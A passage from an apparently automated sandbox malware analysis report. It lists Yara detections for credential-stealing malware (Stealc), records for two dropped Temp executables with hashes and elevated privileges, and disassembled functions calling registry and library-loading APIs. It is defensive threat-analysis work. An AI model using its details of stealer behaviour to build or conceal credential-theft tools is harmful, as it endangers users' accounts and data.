00000001.00000003.1424128912.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1422075965.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1420187340.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1425115480.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1424748984.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1373420987.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1424387670.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1425006550.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1423346210.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1420481628.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1424649468.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1425495603.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1422644060.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1421317804.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1420342190.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1420872874.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1421412387.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1422748556.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000003.1422260267.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:15:48
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe"
Imagebase:	0x810000
File size:	2'845'696 bytes
MD5 hash:	97B29CE33CCFE8A2B642BD236A0DD337
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:15:53
Start date:	23/12/2024
Path:	C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe"
Imagebase:	0x5c0000
File size:	2'907'648 bytes
MD5 hash:	880F67C30D6C2335273B27DF0004F500
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000002.1721673455.000000000112C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000002.1719052761.00000000005C1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000005.00000003.1632301806.0000000004D60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Function 00D74CA5 Relevance: .6, Instructions: 560COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1423737689.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Offset: 00D6F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_d6f000_0OkLsJL2Bn.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df669649fe5678ffaa68f372bb376f0d8962d9819d20f73fa33073f9c5b900fa
Instruction ID: 7ce1ab757e6f977403c60c54bd886bf2db7e24d2c0736ed6a0cb7f1763caecd9
Opcode Fuzzy Hash: df669649fe5678ffaa68f372bb376f0d8962d9819d20f73fa33073f9c5b900fa
Instruction Fuzzy Hash: E3C16F566AE3C15FE31397B45CA8896BFB08F236507AE48EFC0D4CB1A7E149444EC366

Function 00D74118 Relevance: .2, Instructions: 176COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1423737689.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Offset: 00D6F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_d6f000_0OkLsJL2Bn.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e15014f895e276f73c3f73adccd86043d8da255f5df5afa2b08a7cb71d406a2e
Instruction ID: b3d2e4545cf33883af51214f9a3e1cf4b829b67132dcc1c9ae812e4bc72b8f39
Opcode Fuzzy Hash: e15014f895e276f73c3f73adccd86043d8da255f5df5afa2b08a7cb71d406a2e
Instruction Fuzzy Hash: BC3154465AE3C06FE31397B45CA4897BFB48F236407AF48EB90D0CB1A3E149495EC766

Function 00D77B1B Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1423737689.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Offset: 00D6F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_d6f000_0OkLsJL2Bn.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb6ef485bfa8a780476cae72924c67ab002ef0caaa0695754369e781a85a4439
Instruction ID: f1e123b6db2b779a5640ce86f8c151955d4b20120a35dc269a0cbae7978d456a
Opcode Fuzzy Hash: cb6ef485bfa8a780476cae72924c67ab002ef0caaa0695754369e781a85a4439
Instruction Fuzzy Hash: D751152144E7D28FD7138B3488606927FB5AF0722471E86EBD4C0CF4A3E269595ACB63

Function 00D78E3F Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1423737689.0000000000D6F000.00000004.00000020.00020000.00000000.sdmp, Offset: 00D6F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_d6f000_0OkLsJL2Bn.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea0d8377e01f6f01880fca93e58bd97b8dea69efa4785365dfe82e83b44eb2f6
Instruction ID: 2e411e5187389d95e4489ecbecab54dabc9620f7601ff3fed8c0313f712372d0
Opcode Fuzzy Hash: ea0d8377e01f6f01880fca93e58bd97b8dea69efa4785365dfe82e83b44eb2f6
Instruction Fuzzy Hash: BC2103621092D08FC306CF34D4946817FA2FF8B31639E40DDD8C18F527C6A66542C752

Analysis Process: YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exePID: 8148, Parent PID: 7688COMMON

Execution Graph

Execution Coverage:	4.4%
Dynamic/Decrypted Code Coverage:	31%
Signature Coverage:	0%
Total number of Nodes:	29
Total number of Limit Nodes:	1

Executed Functions

Function 009B3D4C Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1725428380.00000000009A6000.00000040.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1725039467.0000000000810000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725062909.0000000000812000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725083353.0000000000816000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725107326.000000000081A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725160515.0000000000824000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725185269.0000000000825000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725207912.0000000000826000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725333706.0000000000980000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725357829.0000000000982000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725386038.000000000099B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725407553.000000000099C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725428380.000000000099F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725477241.00000000009BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725509305.00000000009BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725532995.00000000009BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725555767.00000000009C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725582015.00000000009D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725603812.00000000009D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725626503.00000000009DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725650447.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725672696.00000000009F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725695385.00000000009FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725717364.00000000009FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725739775.00000000009FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725762210.0000000000A09000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725786679.0000000000A0D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725840377.0000000000A0E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725862943.0000000000A16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725914527.0000000000A17000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725937014.0000000000A1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726004641.0000000000A26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726088063.0000000000A27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726119465.0000000000A3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726145802.0000000000A48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726169208.0000000000A51000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726194978.0000000000A53000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726223336.0000000000A72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726247212.0000000000A73000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726282957.0000000000AA4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726304987.0000000000AA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726326562.0000000000AA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726346933.0000000000AA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726370459.0000000000AB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726370459.0000000000ABA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726416696.0000000000AC8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726438118.0000000000ACA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7846691b4b23c5de33e5d36444ba6c0e780dc3500b653f34773bb7ca8ecb2bb5
Instruction ID: 58247b9253002d6cf418db59f4c3a434538e60162762ae5def1cfa34352bd81b
Opcode Fuzzy Hash: 7846691b4b23c5de33e5d36444ba6c0e780dc3500b653f34773bb7ca8ecb2bb5
Instruction Fuzzy Hash: 7BE092B290424A8FCB41CE39C8083CAB7A5DB54320F144A69B14CD7991F7748D50CB94

Function 009AB0AC Relevance: 4.6, APIs: 3, Instructions: 88
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 009AE183
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 009AE1AA
GetNativeSystemInfo.KERNELBASE(?), ref: 009AE201

Memory Dump Source

Source File: 00000004.00000002.1725428380.00000000009A6000.00000040.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1725039467.0000000000810000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725062909.0000000000812000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725083353.0000000000816000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725107326.000000000081A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725160515.0000000000824000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725185269.0000000000825000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725207912.0000000000826000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725333706.0000000000980000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725357829.0000000000982000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725386038.000000000099B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725407553.000000000099C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725428380.000000000099F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725477241.00000000009BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725509305.00000000009BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725532995.00000000009BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725555767.00000000009C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725582015.00000000009D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725603812.00000000009D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725626503.00000000009DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725650447.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725672696.00000000009F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725695385.00000000009FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725717364.00000000009FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725739775.00000000009FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725762210.0000000000A09000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725786679.0000000000A0D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725840377.0000000000A0E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725862943.0000000000A16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725914527.0000000000A17000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725937014.0000000000A1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726004641.0000000000A26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726088063.0000000000A27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726119465.0000000000A3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726145802.0000000000A48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726169208.0000000000A51000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726194978.0000000000A53000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726223336.0000000000A72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726247212.0000000000A73000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726282957.0000000000AA4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726304987.0000000000AA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726326562.0000000000AA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726346933.0000000000AA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726370459.0000000000AB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726370459.0000000000ABA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726416696.0000000000AC8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726438118.0000000000ACA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: e80647ee003962d5a3bd47bf32f484b21418879e049b617efcc90d1a0faa4daa
Instruction ID: 259d045139d56e998f29d6a5a537a2829b998b71a15b2435ec4449febdbfa426
Opcode Fuzzy Hash: e80647ee003962d5a3bd47bf32f484b21418879e049b617efcc90d1a0faa4daa
Instruction Fuzzy Hash: 92313B7140821E9FEF11DFA0C848BEE3BB9FF12314F114929ED4186941D7BA5DA4CB9A

Function 0099DF99 Relevance: 1.6, APIs: 1, Instructions: 102
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0099DF99

Memory Dump Source

Source File: 00000004.00000002.1725407553.000000000099C000.00000080.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1725039467.0000000000810000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725062909.0000000000812000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725083353.0000000000816000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725107326.000000000081A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725160515.0000000000824000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725185269.0000000000825000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725207912.0000000000826000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725333706.0000000000980000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725357829.0000000000982000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725386038.000000000099B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725428380.000000000099F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725428380.00000000009A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725477241.00000000009BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725509305.00000000009BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725532995.00000000009BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725555767.00000000009C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725582015.00000000009D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725603812.00000000009D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725626503.00000000009DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725650447.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725672696.00000000009F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725695385.00000000009FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725717364.00000000009FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725739775.00000000009FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725762210.0000000000A09000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725786679.0000000000A0D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725840377.0000000000A0E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725862943.0000000000A16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725914527.0000000000A17000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725937014.0000000000A1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726004641.0000000000A26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726088063.0000000000A27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726119465.0000000000A3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726145802.0000000000A48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726169208.0000000000A51000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726194978.0000000000A53000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726223336.0000000000A72000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726247212.0000000000A73000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726282957.0000000000AA4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726304987.0000000000AA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726326562.0000000000AA6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726346933.0000000000AA7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726370459.0000000000AB1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726370459.0000000000ABA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726416696.0000000000AC8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726438118.0000000000ACA000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_810000_YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: bf1baacad60b92c0320853c83c11f88d01dc9ffc5ca595014e1e46242493da94
Instruction ID: 1364a0ddc3e000e480ecdb9d2a5389380a94794e1930ce61f02ccf32f4a87d9c
Opcode Fuzzy Hash: bf1baacad60b92c0320853c83c11f88d01dc9ffc5ca595014e1e46242493da94
Instruction Fuzzy Hash: E23106B290C700DFE745AF29D88167AFBE5EF98320F16882DD6C583614E67488948B57

Function 0099DE68 Relevance: 1.6, APIs: 1, Instructions: 95
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0099DE68

Memory Dump Source

Source File: 00000004.00000002.1725407553.000000000099C000.00000080.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000004.00000002.1725039467.0000000000810000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725062909.0000000000812000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725083353.0000000000816000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725107326.000000000081A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725160515.0000000000824000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725185269.0000000000825000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725207912.0000000000826000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725333706.0000000000980000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725357829.0000000000982000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725386038.000000000099B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725428380.000000000099F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725428380.00000000009A6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725477241.00000000009BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725509305.00000000009BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725532995.00000000009BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725555767.00000000009C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725582015.00000000009D7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725603812.00000000009D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725626503.00000000009DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725650447.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725672696.00000000009F8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725695385.00000000009FB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725717364.00000000009FC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725739775.00000000009FD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725762210.0000000000A09000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725786679.0000000000A0D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725840377.0000000000A0E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725862943.0000000000A16000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725914527.0000000000A17000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1725937014.0000000000A1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726004641.0000000000A26000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726088063.0000000000A27000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726119465.0000000000A3E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726145802.0000000000A48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726169208.0000000000A51000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1726194978.0000000000A53000.00000040.00000001.01000000.00000006.sdmpDownload File
